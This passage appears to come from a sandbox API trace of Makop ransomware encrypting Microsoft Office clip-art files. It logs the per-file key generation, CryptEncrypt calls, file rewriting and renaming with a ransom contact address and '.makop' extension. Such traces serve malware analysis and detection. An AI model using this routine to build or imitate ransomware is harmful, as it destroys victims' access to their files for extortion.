lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.839] CloseHandle (hObject=0xf0) returned 1 [0139.839] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e1e00, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22e1e00, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x16d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01141_.WMF", cAlternateFileName="")) returned 1 [0139.839] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF") returned 63 [0139.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.840] GetProcessHeap () returned 0x48a0000 [0139.840] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.840] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.841] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.844] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.844] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.844] GetProcessHeap () returned 0x48a0000 [0139.845] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.845] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.845] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.845] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.845] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.846] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.846] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.846] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.846] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16d8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16d8, lpOverlapped=0x0) returned 1 [0139.847] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16e0, dwBufLen=0x16e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16e0) returned 1 [0139.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.848] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16e0, lpOverlapped=0x0) returned 1 [0139.848] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.848] SetEndOfFile (hFile=0xf0) returned 1 [0139.855] GetProcessHeap () returned 0x48a0000 [0139.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.855] GetProcessHeap () returned 0x48a0000 [0139.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.855] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.857] CloseHandle (hObject=0xf0) returned 1 [0139.857] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc383d00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc383d00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01148_.WMF", cAlternateFileName="")) returned 1 [0139.857] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF") returned 63 [0139.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.858] GetProcessHeap () returned 0x48a0000 [0139.858] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.858] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.862] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.863] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.863] GetProcessHeap () returned 0x48a0000 [0139.863] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.863] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.863] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.863] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.863] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.863] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.863] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.865] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.865] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.865] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.865] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.865] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.865] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f38, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f38, lpOverlapped=0x0) returned 1 [0139.867] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f40) returned 1 [0139.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f40, lpOverlapped=0x0) returned 1 [0139.868] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.868] SetEndOfFile (hFile=0xf0) returned 1 [0139.874] GetProcessHeap () returned 0x48a0000 [0139.874] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.874] GetProcessHeap () returned 0x48a0000 [0139.874] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.875] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.877] CloseHandle (hObject=0xf0) returned 1 [0139.877] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1248, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01149_.WMF", cAlternateFileName="")) returned 1 [0139.877] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 63 [0139.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.880] GetProcessHeap () returned 0x48a0000 [0139.880] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.880] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.880] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.885] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.886] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.886] GetProcessHeap () returned 0x48a0000 [0139.886] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.886] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.886] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.886] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.886] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.886] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.886] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.887] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.887] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.887] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1248, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1248, lpOverlapped=0x0) returned 1 [0139.889] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1250, dwBufLen=0x1250 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1250) returned 1 [0139.889] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.889] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1250, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1250, lpOverlapped=0x0) returned 1 [0139.889] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.889] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.889] SetEndOfFile (hFile=0xf0) returned 1 [0139.897] GetProcessHeap () returned 0x48a0000 [0139.897] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.897] GetProcessHeap () returned 0x48a0000 [0139.897] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.897] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.899] CloseHandle (hObject=0xf0) returned 1 [0139.899] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7738900, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7738900, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x2230, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01152_.WMF", cAlternateFileName="")) returned 1 [0139.900] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF") returned 63 [0139.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.901] GetProcessHeap () returned 0x48a0000 [0139.901] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.901] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.901] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.901] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.901] GetProcessHeap () returned 0x48a0000 [0139.901] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.901] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.901] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.901] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.906] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.906] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.906] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.906] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.907] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.907] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.907] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.907] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2230, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2230, lpOverlapped=0x0) returned 1 [0139.908] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2230, dwBufLen=0x2230 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2230) returned 1 [0139.908] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.908] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2230, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2230, lpOverlapped=0x0) returned 1 [0139.909] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.909] SetEndOfFile (hFile=0xf0) returned 1 [0139.916] GetProcessHeap () returned 0x48a0000 [0139.916] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.917] GetProcessHeap () returned 0x48a0000 [0139.917] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: 